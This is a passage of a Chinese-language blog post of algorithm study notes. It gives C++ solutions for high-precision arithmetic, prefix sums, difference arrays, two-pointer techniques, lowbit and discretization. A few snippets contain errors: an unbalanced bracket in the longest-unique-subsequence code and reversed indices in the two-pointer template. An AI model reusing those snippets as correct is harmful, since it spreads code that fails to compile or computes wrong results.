class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line">#include&lt;vector&gt;</span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">vector&lt;int&gt; mult(vector&lt;int&gt; &amp;A, int b)&#123;</span><br><span class="line">    vector&lt;int&gt; C;</span><br><span class="line">    </span><br><span class="line">    for(int i=0,t=0; i&lt;A.size() || t&gt;0; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        if(i &lt; A.size()) t += b * A[i];</span><br><span class="line">        C.push_back(t % 10);</span><br><span class="line">        t /= 10;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    while(C.size() &gt; 1 &amp;&amp; C.back() == 0) C.pop_back();</span><br><span class="line">    </span><br><span class="line">    return C;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    vector&lt;int&gt; A;</span><br><span class="line">    string a;</span><br><span class="line">    int b;</span><br><span class="line">    cin &gt;&gt; a &gt;&gt; b;</span><br><span class="line">    </span><br><span class="line">    for(int i=a.size()-1; i&gt;=0; i--)A.push_back(a[i]-&#x27;0&#x27;);</span><br><span class="line">    </span><br><span class="line">    auto C = mult(A,b);</span><br><span class="line">    </span><br><span class="line">    for(int i=C.size()-1; i&gt;=0; i--)printf(&quot;%d&quot;,C[i]);</span><br><span class="line">    </span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="除法"><a href="#除法" class="headerlink" title="除法"></a>除法</h2><p>将一个高精度数A除以另一个较小数b,方法是将高精度数从最高位开始，取第一位，除以b，得到的商写入结果数组C。将刚刚得到余数乘以10加上第二位，将得到的和除以b…</p><p>代码如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line">#include&lt;vector&gt;</span><br><span class="line">#include&lt;algorithm&gt;</span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">vector&lt;int&gt; div(vector&lt;int&gt; &amp;A, int b,int &amp;r)&#123;</span><br><span class="line">    vector&lt;int&gt; C;</span><br><span class="line">    </span><br><span class="line">    for(int i=A.size()-1; i &gt;= 0; i--)&#123;</span><br><span class="line">        r = r*10 + A[i];</span><br><span class="line">        C.push_back(r/b);</span><br><span class="line">        r %=b;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    reverse(C.begin(),C.end());        </span><br><span class="line">    </span><br><span class="line">    while(C.size() &gt; 1 &amp;&amp; C.back() == 0) C.pop_back();</span><br><span class="line">    </span><br><span class="line">    return C;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    vector&lt;int&gt; A;</span><br><span class="line">    string a;</span><br><span class="line">    int b;</span><br><span class="line">    cin &gt;&gt; a &gt;&gt; b;</span><br><span class="line">    </span><br><span class="line">    for(int i=a.size()-1; i&gt;=0; i--)A.push_back(a[i]-&#x27;0&#x27;);</span><br><span class="line">    </span><br><span class="line">    int r=0;</span><br><span class="line">    auto C = div(A,b,r);</span><br><span class="line">    </span><br><span class="line">    for(int i=C.size()-1; i&gt;=0; i--)printf(&quot;%d&quot;,C[i]);</span><br><span class="line">    cout &lt;&lt; endl &lt;&lt; r &lt;&lt; endl;</span><br><span class="line">    </span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="前缀和差分"><a href="#前缀和差分" class="headerlink" title="前缀和差分"></a>前缀和差分</h1><h2 id="前缀和"><a href="#前缀和" class="headerlink" title="前缀和"></a>前缀和</h2><p>将前数组中前j(j&#x3D;1,2,…,n)位数字相加，得到前缀和。然后可以算任意区间内的和。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">const int N = 1e5 + 10;</span><br><span class="line"></span><br><span class="line">int sum[N];</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    int m,n;</span><br><span class="line">    cin &gt;&gt; n &gt;&gt; m;</span><br><span class="line">    </span><br><span class="line">    int num;</span><br><span class="line">    for(int i=0; i&lt;n; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        cin &gt;&gt; num;</span><br><span class="line">        sum[i+1] = sum[i] + num;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    int l,r;</span><br><span class="line">    while(m--)&#123;</span><br><span class="line">        cin &gt;&gt; l &gt;&gt; r;</span><br><span class="line">        cout &lt;&lt; sum[r] - sum[l-1] &lt;&lt; endl;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="子矩阵的和"><a href="#子矩阵的和" class="headerlink" title="子矩阵的和"></a>子矩阵的和</h2><p>和前缀和类似，算出每个以第一个节点为顶点的子矩阵的和sum[i,j]。然后算出以指定定点的子矩阵的和。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line">const int N = 1000 + 10;</span><br><span class="line"></span><br><span class="line">int sum[N][N];</span><br><span class="line">int main()&#123;</span><br><span class="line">    int n,m,q;</span><br><span class="line">    cin &gt;&gt; n &gt;&gt; m &gt;&gt; q;</span><br><span class="line">    </span><br><span class="line">    int x;</span><br><span class="line">    for(int i= 1; i&lt;=n; i++)</span><br><span class="line">        for(int j = 1; j&lt;=m; j++)</span><br><span class="line">        &#123;</span><br><span class="line">            cin &gt;&gt; x;</span><br><span class="line">            sum[i][j] = sum[i-1][j]+sum[i][j-1]-sum[i-1][j-1] + x;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    int x1,y1,x2,y2;</span><br><span class="line">    while(q--)</span><br><span class="line">    &#123;</span><br><span class="line">        cin &gt;&gt; x1 &gt;&gt; y1 &gt;&gt; x2 &gt;&gt; y2;       </span><br><span class="line">        cout &lt;&lt; (sum[x2][y2] - sum[x1-1][y2] - sum[x2][y1-1] + sum[x1-1][y1-1]) &lt;&lt; endl;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    return 0;</span><br><span class="line">        </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="差分"><a href="#差分" class="headerlink" title="差分"></a>差分</h2><p>差分是前缀和的逆运算。a为原数组,同时也是前缀和，b为差分数组。先把原数组还原为差分的数组，即令b[i] +&#x3D; a[i] ,b[i+1] -&#x3D; a[i]。然后再输入q个操作，在l上+m，在r+1减m。 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">const int N = 100010;</span><br><span class="line"></span><br><span class="line">int a [N],b[N];</span><br><span class="line"></span><br><span class="line">void insert(int l,int r,int i)&#123;</span><br><span class="line">    b[l] += i;</span><br><span class="line">    b[r+1] -= i;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    int n,m;</span><br><span class="line">    cin &gt;&gt; n &gt;&gt; m;</span><br><span class="line">    </span><br><span class="line">    int x;</span><br><span class="line">    for(int i = 1;i&lt;=n; i++)&#123; cin &gt;&gt; x;insert(i,i,x);&#125;</span><br><span class="line">    </span><br><span class="line">    int l,r,c;</span><br><span class="line">    for(int i=1; i&lt;=m; i++)&#123;cin &gt;&gt; l &gt;&gt; r &gt;&gt; c;insert(l,r,c);&#125;</span><br><span class="line">    </span><br><span class="line">    for(int i=1; i&lt;=n; i++)&#123;a[i] = a[i-1] + b[i]; cout &lt;&lt; a[i] &lt;&lt; &#x27; &#x27;;&#125;</span><br><span class="line">    </span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="差分矩阵"><a href="#差分矩阵" class="headerlink" title="差分矩阵"></a>差分矩阵</h2><p>与一维差分类似。差分矩阵，也是用这种方法，根据子矩阵的和、差分也可以得出结论。a为前缀和矩阵，b为差分数组。把原始数组差分到b中，然后在b上进行q个操作，再对b前缀和得到结果a</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">const int N = 1010;</span><br><span class="line"></span><br><span class="line">int m,n,q;</span><br><span class="line">int a[N][N],b[N][N];</span><br><span class="line"></span><br><span class="line">void insert(int x1,int y1,int x2,int y2,int c)&#123;</span><br><span class="line">    b[x1][y1] += c;</span><br><span class="line">    b[x1][y2+1] -= c;</span><br><span class="line">    b[x2+1][y1] -= c;</span><br><span class="line">    b[x2+1][y2+1] += c;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    cin &gt;&gt; n&gt;&gt; m &gt;&gt; q;</span><br><span class="line">    </span><br><span class="line">    for(int i=1; i&lt;=n; i++)</span><br><span class="line">        for(int j=1; j&lt;=m; j++)&#123;</span><br><span class="line">            cin &gt;&gt; a[i][j];</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">    // 将原有数据当做是后来插入的，面积为1</span><br><span class="line">    for(int i=1; i&lt;=n ; i++)</span><br><span class="line">        for(int j=1; j&lt;= m; j++)</span><br><span class="line">            insert(i,j,i,j,a[i][j]);</span><br><span class="line">    </span><br><span class="line">    int x1,y1,x2,y2,c;</span><br><span class="line">    while(q--)&#123;</span><br><span class="line">        cin &gt;&gt; x1 &gt;&gt; y1 &gt;&gt; x2 &gt;&gt; y2 &gt;&gt; c;</span><br><span class="line">        insert(x1,y1,x2,y2,c);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    for(int i=1; i&lt;=n; i++)</span><br><span class="line">        for(int j=1; j&lt;=m ; j++)</span><br><span class="line">            a[i][j] = b[i][j] -a[i-1][j-1]+a[i-1][j] + a[i][j-1];</span><br><span class="line">            </span><br><span class="line">    for(int i=1; i&lt;=n; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        for(int j=1; j&lt;=m ; j++)</span><br><span class="line">            cout &lt;&lt; a[i][j] &lt;&lt; &#x27; &#x27;; </span><br><span class="line">cout &lt;&lt; endl;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">    </span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="双指针算法"><a href="#双指针算法" class="headerlink" title="双指针算法"></a>双指针算法</h1><p>第一种在两个指针分别在两个序列中，第二种两个指针均在一个序列中。</p><p><em>模版</em> </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">for(int i = 0,j=0; i &lt; n; i++)</span><br><span class="line">&#123;</span><br><span class="line">while(j&lt;i &amp;&amp; check(i,j)) j++;</span><br><span class="line">// 每道题的具体逻辑</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><em>核心思想</em><br>优化普通算法O(n^2) 为O(n)。 </p><h2 id="连续最长不重复子序列"><a href="#连续最长不重复子序列" class="headerlink" title="连续最长不重复子序列"></a>连续最长不重复子序列</h2><p>先思考暴力解法，然后换成双指针算法。<br>发现j始终小于i,且j不会回退。</p><p><em>朴素做法</em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">for (int i=0; i&lt; n; i++)&#123;</span><br><span class="line">for(int j=0; j&lt;=i; j++)&#123;</span><br><span class="line">if(check(j,i))</span><br><span class="line">res = max(res,j-i+1);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><em>双指针算法</em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">for(int i=0,j=0; i&lt; n; i++)&#123;</span><br><span class="line">while(j&lt;=i &amp;&amp; check(j,i)) j++;</span><br><span class="line">res = max(res,j-i+1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>代码：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">const int N = 100010;</span><br><span class="line"></span><br><span class="line">int a[N],s[N];</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    int n;</span><br><span class="line">    cin &gt;&gt; n;</span><br><span class="line">    for(int i=0; i&lt;n; i++) cin &gt;&gt; a[i];</span><br><span class="line">    </span><br><span class="line">    int res=0;</span><br><span class="line">    for(int i=0,j=0; i&lt;n; i++)&#123;</span><br><span class="line">        s[a[i]] ++;</span><br><span class="line">        while(s[a[i] &gt; 1)&#123;</span><br><span class="line">            s[a[j]] --;</span><br><span class="line">            j++;</span><br><span class="line">        &#125;</span><br><span class="line">        res = max(res,i-j+1);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    cout &lt;&lt; res &lt;&lt; endl;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="数组元素目标和"><a href="#数组元素目标和" class="headerlink" title="数组元素目标和"></a>数组元素目标和</h2><p>类似</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">const int N = 1e5 + 10;</span><br><span class="line"></span><br><span class="line">int a[N],b[N];</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    int i,j;</span><br><span class="line">    int n,m,x;</span><br><span class="line">    cin &gt;&gt; n &gt;&gt; m &gt;&gt; x;</span><br><span class="line">    </span><br><span class="line">    for(i=0; i&lt;n; i++) cin &gt;&gt; a[i];</span><br><span class="line">    for(i=0; i&lt;m; i++) cin &gt;&gt; b[i];</span><br><span class="line">    </span><br><span class="line">    for(i=0,j=m-1; i&lt;n ; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        while(a[i] + b[j] &gt; x )</span><br><span class="line">        &#123;</span><br><span class="line">            j--;</span><br><span class="line">        &#125;</span><br><span class="line">        if(a[i] + b[j] == x) cout &lt;&lt; i &lt;&lt; &#x27; &#x27;&lt;&lt; j-- &lt;&lt; endl;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="判断子序列"><a href="#判断子序列" class="headerlink" title="判断子序列"></a>判断子序列</h2><p>思想相同，代码也是很简洁。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">const int N = 1e5 + 10;</span><br><span class="line"></span><br><span class="line">int A[N],B[N];</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    int n,m,i,j;</span><br><span class="line">    cin &gt;&gt; n &gt;&gt; m;</span><br><span class="line">    for(i = 0; i&lt;n; i++) cin &gt;&gt; A[i];</span><br><span class="line">    for(i = 0; i&lt;m; i++) cin &gt;&gt; B[i];</span><br><span class="line">    </span><br><span class="line">    i = 0,j = 0;</span><br><span class="line">    while(i &lt; n &amp;&amp; j &lt;m )&#123;</span><br><span class="line">        if(A[i] == B[j]) i++;</span><br><span class="line">        j++;</span><br><span class="line">    &#125;</span><br><span class="line">    if(i == n) cout &lt;&lt; &quot;Yes&quot; &lt;&lt; endl;</span><br><span class="line">    else cout &lt;&lt; &quot;No&quot; &lt;&lt; endl;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="位运算"><a href="#位运算" class="headerlink" title="位运算"></a>位运算</h1><p>二进制第k位数字：$n&gt;&gt; k &amp; 1$<br>二进制返回n的最后一位数字1  ： lowbit(n) &#x3D; n &amp; (~n + 1)  </p><h2 id="二进制中1的个数"><a href="#二进制中1的个数" class="headerlink" title="二进制中1的个数"></a>二进制中1的个数</h2><pre><code><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">int lowbit(int n)&#123;</span><br><span class="line">    return n &amp; (~n+1);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    int n;</span><br><span class="line">    cin &gt;&gt; n;</span><br><span class="line">    </span><br><span class="line">    // 暴力</span><br><span class="line">    /*</span><br><span class="line">    int x;</span><br><span class="line">    while(n--)&#123;</span><br><span class="line">        int y = 0;</span><br><span class="line">        cin &gt;&gt; x;</span><br><span class="line">        while(x)&#123;</span><br><span class="line">            y += x % 2;</span><br><span class="line">            x /= 2;</span><br><span class="line">        &#125;</span><br><span class="line">        cout &lt;&lt; y &lt;&lt; &#x27; &#x27;;</span><br><span class="line">    &#125;</span><br><span class="line">    */</span><br><span class="line">    // lowbit</span><br><span class="line">    while(n--)&#123;</span><br><span class="line">        int x;</span><br><span class="line">        cin &gt;&gt; x;</span><br><span class="line">        int res=0;</span><br><span class="line">        while(x) x -= lowbit(x),res ++;</span><br><span class="line">        </span><br><span class="line">        cout &lt;&lt; res &lt;&lt; &#x27; &#x27; ;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    return 0;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></code></pre><h1 id="离散化"><a href="#离散化" class="headerlink" title="离散化"></a>离散化</h1><p>解释：<a href="https://zh.wikipedia.org/wiki/%E7%A6%BB%E6%95%A3%E5%8C%96">https://zh.wikipedia.org/wiki/%E7%A6%BB%E6%95%A3%E5%8C%96</a><br>适用于值域跨度很大，但是用到的值很少。  </p><h2 id="区间和"><a href="#区间和" class="headerlink" title="区间和"></a>区间和</h2><p>这道题综合性强。用到二分，前缀和，离散化。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line">#include&lt;vector&gt;</span><br><span class="line">#include&lt;algorithm&gt;</span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">const int N = 3e5 + 10;</span><br><span class="line">typedef pair&lt;int,int&gt; PII;</span><br><span class="line"></span><br><span class="line">int a[N],b[N];</span><br><span class="line">vector&lt;int&gt; alls;</span><br><span class="line">vector&lt;PII&gt; adds,query;</span><br><span class="line">// 查找离散化后的坐标</span><br><span class="line">int find(int x)&#123;</span><br><span class="line">    int l=0,r = alls.size()-1;</span><br><span class="line">    </span><br><span class="line">    while(l &lt; r)&#123;</span><br><span class="line">        int mid = l+r &gt;&gt; 1;</span><br><span class="line">        if(x &gt; alls[mid]) l = mid+1;</span><br><span class="line">        else r = mid ;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    return r+1;</span><br><span class="line">&#125;</span><br><span class="line">// </span><br><span class="line">int main()&#123;</span><br><span class="line">    int n,m;</span><br><span class="line">    cin &gt;&gt; n &gt;&gt; m;</span><br><span class="line">    </span><br><span class="line">    for(int i=0; i&lt;n; i++)&#123;</span><br><span class="line">        int x,v;</span><br><span class="line">        cin &gt;&gt; x &gt;&gt; v;</span><br><span class="line">        alls.push_back(x);</span><br><span class="line">        adds.push_back(&#123;x,v&#125;);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    for(int i=0; i&lt;m; i++)&#123;</span><br><span class="line">        int l,r;</span><br><span class="line">        cin &gt;&gt; l &gt;&gt; r;</span><br><span class="line">        query.push_back(&#123;l,r&#125;);</span><br><span class="line">        alls.push_back(l);</span><br><span class="line">        alls.push_back(r);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    //去重</span><br><span class="line">    sort(alls.begin(),alls.end());</span><br><span class="line">    alls.erase(unique(alls.begin(),alls.end()),alls.end());</span><br><span class="line">    </span><br><span class="line">    //加</span><br><span class="line">    for(int i=0; i&lt;n; i++)&#123;</span><br><span class="line">        int x = find(adds[i].first);</span><br><span class="line">        a[x] += adds[i].second;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    //前缀和</span><br><span class="line">    for(int i=1; i&lt;=alls.size(); i++)&#123;</span><br><span class="line">        b[i] = b[i-1] + a[i];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    //数字和</span><br><span class="line">    for(int i=0; i&lt;m; i++)&#123;</span><br><span class="line">        int l = find(query[i].first);</span><br><span class="line">        int r = find(query[i].second);</span><br><span class="line">        </span><br><span class="line">        cout &lt;&lt; b[r] - b[l-1] &lt;&lt; endl;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="贪心算法"><a href="#贪心算法" class="headerlink" title="贪心算法"></a>贪心算法</h1><p>贪心算法（英语：greedy 